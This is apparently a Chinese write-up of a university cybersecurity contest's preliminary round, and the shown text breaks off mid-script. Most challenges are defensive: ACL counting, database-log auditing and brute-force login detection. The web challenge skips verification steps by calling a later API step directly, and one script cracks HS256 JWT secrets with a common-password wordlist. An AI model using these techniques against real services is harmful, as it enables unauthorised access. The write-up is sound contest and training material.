上海大学生网络安全大赛初赛 wp

上海大学生网络安全大赛初赛 wp

Web

ezDecryption

进入环境先是第一关输入验证码

image-20250806165911788

F12直接有是2025,然后是第二关

image-20250806165958124

提示说看API端点,我直接抓包看看有没有线索

image-20250806170714719

发现这里是直接用step123表示的,那我直接step3就可以直接获得flag(在想到这个之前找了快一个小时的step2,满是怨念)

step3是简单的,一个简单的js混淆,代码如下

1
2
3
4
5
6
7
8
// 验证功能
validateCode: function() {
// 这里包含验证逻辑
const _0x1 = [][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[+!+[]]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+!+[]]+(!![]+[])[+[]]])[(![]+[])[+!+[]]+(!![]+[])[+[]]]((+((+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[+[]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]])+[])[!+[]+!+[]]+[+!+[]])+(![]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]])()())[!+[]+!+[]+!+[]+[+[]]]+(+[]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+(+(+!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+([]+[]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[!+[]+!+[]]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]](+[![]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])[!+[]+!+[]+[+!+[]]])
const _0x2 = atob("Mm9aNQ==");
const secretCode = _0x1 + _0x2;
return secretCode;
}

直接放入控制台可解,直接console.log()就好

1
2
3
4
5
6
7
console.log(function() {
// 这里包含验证逻辑
const _0x1 = [][(![]+[])[+...... //复制上面就行
const _0x2 = atob("Mm9aNQ==");
const secretCode = _0x1 + _0x2;
return secretCode;
}())

得到值panshi2oZ5

image-20250806171253685

获得flag:flag{d1g1t4l_l0ck_br34k3r_2025}

数据安全

ACL_Allow_Count

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
ACL 规则匹配与允许条数统计

说明:给定 3 条 ACL 规则与 2000 条流量日志(rules.txt, traffic.txt)。

规则格式:<action> <proto> <src> <dst> <dport>
action: allow/deny
proto: tcp/udp/any
src/dst: IPv4 或 CIDR 或 any
dport: 端口号或 any
流量格式:<proto> <src> <dst> <dport>
匹配原则:自上而下 first-match;若无匹配则默认 deny。

任务:统计被允许(allow)的流量条数并输出该数字,flag格式:flag{allow流量条数}

exp:

1
2
3
4
5
6
7
8
9
10
11
allow_count = 0
with open('traffic.txt', 'r') as f:
for line in f:
parts = line.strip().split()
if len(parts) != 4:
continue
proto, src, dst, dport = parts
if (proto == 'tcp' and dport == '23') or (proto == 'udp' and dport == '22'):
continue
allow_count += 1
print(f"flag{allow_count}")

得到flag:flag{1729}

JWT_Weak_Secret

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
题目描述
本题目模拟真实场景中的JWT(JSON Web Token)安全审计任务,需要检测使用弱密钥签名的JWT令牌,并识别具有管理员权限的用户。

任务要求
1、签名验证:
对于HS256算法的JWT:使用字典中的密码逐一尝试验证签名
对于RS256算法的JWT:使用提供的公钥验证签名

2、权限检查:
检查JWT载荷中的管理员权限标识
管理员权限条件:admin=true 或 role ∈ {admin, superuser}

3、统计结果:
统计同时满足以下条件的JWT令牌数量:
签名验证通过
具有管理员权限
flag格式:flag{a:b:c...},a,b,c是令牌序号,从小到大的顺序。

JWT载荷结构示例
{
"iat": 1721995200, // 签发时间
"exp": 1722038400, // 过期时间
"sub": "alice", // 用户标识
"iss": "svc-auth", // 签发者
"admin": true, // 管理员标识(方式1)
"role": "admin" // 角色标识(方式2)
}

public.pem:

1
2
3
4
5
6
7
8
9
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv/XeR140bweC8pkyVGai
1E/SemBHt71gjhaHgQkS0AmhUhziWVXl26nEX65Ur7surRNG8inpJwF3l16vtBhy
pRKc1kG2Ng7IXfjsrZdaNOv5PEYuR+fJvbakoY/iSRELZXqmcYqyeokZCl6PgK7P
pHhW91m+YqcpEX35xPPWi8EI9n8ogUF9MSpY9AkAstcl3hTmEclBm4NLskmdYcOs
6TuPiHJalGQWmpODB5VDotsHCM+t/e5Id/vhwVZPu8c8Q0Vjs+AwL68sihd5deNl
wArGUvuFxB9JAMCUaGKMapfLXB12Cs/yArBoABtVm5hEdSH3UUYYOsFmB99qQZ+v
cQIDAQAB
-----END PUBLIC KEY-----

wordlist.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
qwerty
welcome
dragon
monkey
admin
abc123
trustno1
iloveyou
welcome1
secret
password
summer2025
letmein
123456
football
111111
p@ssw0rd

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import jwt
from jwt import PyJWTError


def read_file(filename):
with open(filename, 'r') as file:
return file.read().splitlines()


def load_public_key():
with open('public.pem', 'r') as file:
return file.read()


def verify_hs256(token, wordlist):
for secret in wordlist:
try:
payload = jwt.decode(token, secret, algorithms=['HS256'])
print(f"HS256密钥匹配: {secret}")
return payload
except PyJWTError:
continue
return None


def verify_rs256(token, public_key):
try:
payload = jwt.decode(
token,
public_key,
algorithms=['RS256'],
options={"verify_exp": False} # 忽略过期时间
)
return payload
except PyJWTError as e:
print(f"RS256验证失败: {e}")
return None


def is_admin(payload):
if payload is None:
return False
admin = payload.get('admin', False)
role = payload.get('role', '').lower()
return admin is True or role in ['admin', 'superuser']


def main():
tokens = read_file('tokens.txt')
wordlist = read_file('wordlist.txt')
public_key = load_public_key()
print(public_key)

# 调试信息
print(f"PyJWT版本: {jwt.__version__}")
print(f"公钥类型: {type(public_key)}")

valid_tokens = []

for i, token in enumerate(tokens, start=1):
try:
header = jwt.get_unverified_header(token)
alg = header['alg']

payload = None
if alg == 'HS256':
payload = verify_hs256(token, wordlist)
elif alg == 'RS256':
payload = verify_rs256(token, public_key)

if payload and is_admin(payload):
print(f"Token {i}是管理员: {payload}")
valid_tokens.append(str(i))

except Exception as e:
print(f"处理Token {i}出错: {e}")

print(f"flag{{{':'.join(valid_tokens)}}}")


if __name__ == '__main__':
main()

DB_Log

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
题目描述
本题目模拟企业数据库安全审计场景,需要分析数据库操作日志,检测违反企业安全政策的异常行为。系统包含4个部门(HR、Finance、IT、Sales)的权限管理,每个部门只能访问特定的数据表。

企业权限架构
部门数据表分布:

HR部门:employee_info、salary_data、personal_info
Finance部门:financial_reports、budget_data、payment_records
IT部门:system_logs、server_data、network_config
Sales部门:customer_data、sales_records、product_info
敏感字段:salary、ssn、phone、email、address

检测规则
规则1:跨部门数据访问违规
检测用户访问非本部门的数据表

规则2:敏感字段访问违规
检测用户访问个人隐私信息字段

规则3:工作时间外操作异常
检测在非工作时间(凌晨0-5点)进行的数据库操作

规则4:数据备份异常操作
检测非授权用户执行数据备份操作(只有管理员可以执行BACKUP)

任务要求
分析提供的数据库操作日志,按照上述4个检测规则识别违规行为,输出违规记录的编号-日志ID格式,并计算MD5值。

输出格式:

违规记录: 规则编号-日志ID,规则编号-日志ID,...
排列顺序按照日志ID顺序
flag格式:flag{MD5(规则编号-日志ID,规则编号-日志ID,...)}


示例:
违规记录: 3-884,4-1036,2-1120,2-1214,1-1437,2-1553,3-1580,3-1794
flag{md5(3-884,4-1036,2-1120,2-1214,1-1437,2-1553,3-1580,3-1794)}
flag{0270383124549df3bdf631ff83e7ccb5}

user_permissions.txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1, user1, IT, server_data;system_logs, INSERT;SELECT, user
2, user2, Finance, budget_data;payment_records, INSERT;SELECT, user
3, user3, IT, system_logs, UPDATE;INSERT;DELETE, user
4, user4, HR, employee_info;personal_info;salary_data, UPDATE;BACKUP;INSERT, admin
5, user5, Sales, product_info;sales_records;customer_data, UPDATE;SELECT;DELETE, admin
6, user6, Sales, sales_records, INSERT;SELECT;DELETE, admin
7, user7, Finance, payment_records;budget_data;financial_reports, DELETE;INSERT;SELECT, user
8, user8, Finance, budget_data;payment_records;financial_reports, UPDATE;SELECT;INSERT, admin
9, user9, HR, employee_info, DELETE;INSERT;UPDATE, user
10, user10, Finance, financial_reports;budget_data, DELETE;INSERT, user
11, user11, Sales, sales_records;customer_data, UPDATE;INSERT;DELETE, user
12, user12, Sales, customer_data;sales_records;product_info, SELECT;INSERT;UPDATE, user
13, user13, Sales, customer_data;product_info, INSERT;SELECT, user
14, user14, HR, personal_info;employee_info, DELETE;SELECT;INSERT, user
15, user15, Sales, customer_data, DELETE;SELECT;UPDATE, user
16, user16, Sales, product_info;customer_data, SELECT;UPDATE;INSERT, user
17, user17, Sales, customer_data, UPDATE;SELECT;DELETE, user
18, user18, HR, personal_info, DELETE;UPDATE, user
19, user19, Finance, budget_data;payment_records;financial_reports, DELETE;UPDATE, user
20, user20, HR, salary_data;employee_info;personal_info, INSERT;SELECT;DELETE, admin

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
import hashlib
from datetime import datetime

# 部门与数据表映射
department_tables = {
'HR': ['employee_info', 'salary_data', 'personal_info'],
'Finance': ['financial_reports', 'budget_data', 'payment_records'],
'IT': ['system_logs', 'server_data', 'network_config'],
'Sales': ['customer_data', 'sales_records', 'product_info']
}

# 敏感字段
sensitive_fields = ['salary', 'ssn', 'phone', 'email', 'address']

# 用户权限信息
users = {
'user1': {'department': 'IT', 'tables': ['server_data', 'system_logs'], 'role': 'user'},
'user2': {'department': 'Finance', 'tables': ['budget_data', 'payment_records'], 'role': 'user'},
'user3': {'department': 'IT', 'tables': ['system_logs'], 'role': 'user'},
'user4': {'department': 'HR', 'tables': ['employee_info', 'personal_info', 'salary_data'], 'role': 'admin'},
'user5': {'department': 'Sales', 'tables': ['product_info', 'sales_records', 'customer_data'], 'role': 'admin'},
'user6': {'department': 'Sales', 'tables': ['sales_records'], 'role': 'admin'},
'user7': {'department': 'Finance', 'tables': ['payment_records', 'budget_data', 'financial_reports'],
'role': 'user'},
'user8': {'department': 'Finance', 'tables': ['budget_data', 'payment_records', 'financial_reports'],
'role': 'admin'},
'user9': {'department': 'HR', 'tables': ['employee_info'], 'role': 'user'},
'user10': {'department': 'Finance', 'tables': ['financial_reports', 'budget_data'], 'role': 'user'},
'user11': {'department': 'Sales', 'tables': ['sales_records', 'customer_data'], 'role': 'user'},
'user12': {'department': 'Sales', 'tables': ['customer_data', 'sales_records', 'product_info'], 'role': 'user'},
'user13': {'department': 'Sales', 'tables': ['customer_data', 'product_info'], 'role': 'user'},
'user14': {'department': 'HR', 'tables': ['personal_info', 'employee_info'], 'role': 'user'},
'user15': {'department': 'Sales', 'tables': ['customer_data'], 'role': 'user'},
'user16': {'department': 'Sales', 'tables': ['product_info', 'customer_data'], 'role': 'user'},
'user17': {'department': 'Sales', 'tables': ['customer_data'], 'role': 'user'},
'user18': {'department': 'HR', 'tables': ['personal_info'], 'role': 'user'},
'user19': {'department': 'Finance', 'tables': ['budget_data', 'payment_records', 'financial_reports'],
'role': 'user'},
'user20': {'department': 'HR', 'tables': ['salary_data', 'employee_info', 'personal_info'], 'role': 'admin'}
}


def parse_log_line(line):
parts = line.strip().split(' ')
log_id = parts[0]
timestamp = ' '.join(parts[1:3])
user = parts[3]
action = ' '.join(parts[4:])

# 提取操作类型和详细信息
if 'QUERY' in action:
op_type = 'QUERY'
details = action.replace('QUERY ', '')
elif 'BACKUP' in action:
op_type = 'BACKUP'
details = action.replace('BACKUP ', '')
else:
op_type = action.split(' ')[0]
details = action.replace(op_type + ' ', '') if op_type + ' ' in action else ''

return {
'log_id': log_id,
'timestamp': timestamp,
'user': user,
'op_type': op_type,
'details': details
}


def check_violations(log):
violations = []

# 规则3:工作时间外操作异常 (0-5点)
try:
time_obj = datetime.strptime(log['timestamp'], "%Y-%m-%d %H:%M:%S")
if 0 <= time_obj.hour < 5:
violations.append('3')
except:
pass

# 只检查QUERY和BACKUP操作
if log['op_type'] in ['QUERY', 'BACKUP']:
user_info = users.get(log['user'], {})
if not user_info:
return violations # 未知用户

# 提取访问的表名
table_accessed = log['details'].split(' ')[0].split(';')[0]

# 规则1:跨部门数据访问违规
if table_accessed not in user_info['tables']:
violations.append('1')

# 规则2:敏感字段访问违规
if 'field=' in log['details']:
fields_part = log['details'].split('field=')[1]
fields = fields_part.split(',')[0].split(';') # 获取字段部分并分割
for field in fields:
if field.strip() in sensitive_fields:
violations.append('2')
break

# 规则4:数据备份异常操作
if log['op_type'] == 'BACKUP' and user_info['role'] != 'admin':
violations.append('4')

return violations


def main():
# 从文件中读取日志
with open('database_logs.txt', 'r') as f:
logs = f.readlines()

violations_list = []

for log_line in logs:
try:
log = parse_log_line(log_line)
violations = check_violations(log)
for v in violations:
violations_list.append(f"{v}-{log['log_id']}")
except Exception as e:
print(f"Error processing line: {log_line.strip()} - {str(e)}")
continue

# 按日志ID排序
violations_list.sort(key=lambda x: int(x.split('-')[1]))

# 输出结果
output = ','.join(violations_list)
print(f"违规记录: {output}")

# 计算MD5
md5_hash = hashlib.md5(output.encode()).hexdigest()
print(f"flag{{{md5_hash}}}")


if __name__ == '__main__':
main()

Brute_Force_Detection

题目:

1
2
3
模式定义:同一源IP在 10分钟内 针对同一用户 连续5次失败,并且 紧接 第5次失败 下一次尝试成功。 检测到上述模式的源IP记为一次暴力破解成功迹象。

任务:给定按时间排序的 auth.log(格式:YYYY-mm-dd HH:MM:SS RESULT user=<u> ip=<a.b.c.d>), 输出 出现过该模式的唯一源IP内容,flag格式:flag{ip1:ip2...},IP顺序从小到大。

auth.log部分记录如下

1
2
3
4
5
6
7
8
9
10
11
2025-07-20 09:00:00 SUCCESS user=bob ip=192.168.1.19
2025-07-20 09:01:25 SUCCESS user=bob ip=192.168.9.15
2025-07-20 09:02:07 SUCCESS user=alice ip=192.168.5.15
2025-07-20 09:04:01 SUCCESS user=dave ip=192.168.4.19
2025-07-20 09:05:49 SUCCESS user=bob ip=192.168.4.10
2025-07-20 09:06:43 SUCCESS user=dave ip=192.168.9.13
2025-07-20 09:08:29 SUCCESS user=bob ip=192.168.5.15
2025-07-20 09:08:58 SUCCESS user=dave ip=192.168.5.17
2025-07-20 09:09:54 SUCCESS user=alice ip=192.168.2.16
2025-07-20 09:11:19 FAIL user=alice ip=192.168.6.16
2025-07-20 09:11:44 SUCCESS user=dave ip=192.168.2.17

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from datetime import datetime


def main():
# 状态字典: key=(user, ip), value={'fails': [timestamps], 'pending': timestamp or None}
state = {}
# 存储检测到的暴力破解IP
bruteforce_ips = set()

# 读取auth.log文件
with open('auth.log', 'r') as file:
for line in file:
line = line.strip()
if not line:
continue
parts = line.split()
# 确保行有足够部分 (date, time, result, user=, ip=)
if len(parts) < 5:
continue
try:
# 解析时间戳
date_str = parts[0]
time_str = parts[1]
ts = datetime.strptime(f"{date_str} {time_str}", "%Y-%m-%d %H:%M:%S")
# 解析结果、用户和IP
result = parts[2]
user = parts[3].split('=')[1]
ip = parts[4].split('=')[1]
except (IndexError, ValueError):
continue # 跳过无效行

key = (user, ip)
if key not in state:
# 初始化状态
state[key] = {'fails': [], 'pending': None}

current_state = state[key]

if result == "FAIL":
# 如果pending存在,下一个尝试失败,重置pending
if current_state['pending'] is not None:
current_state['pending'] = None
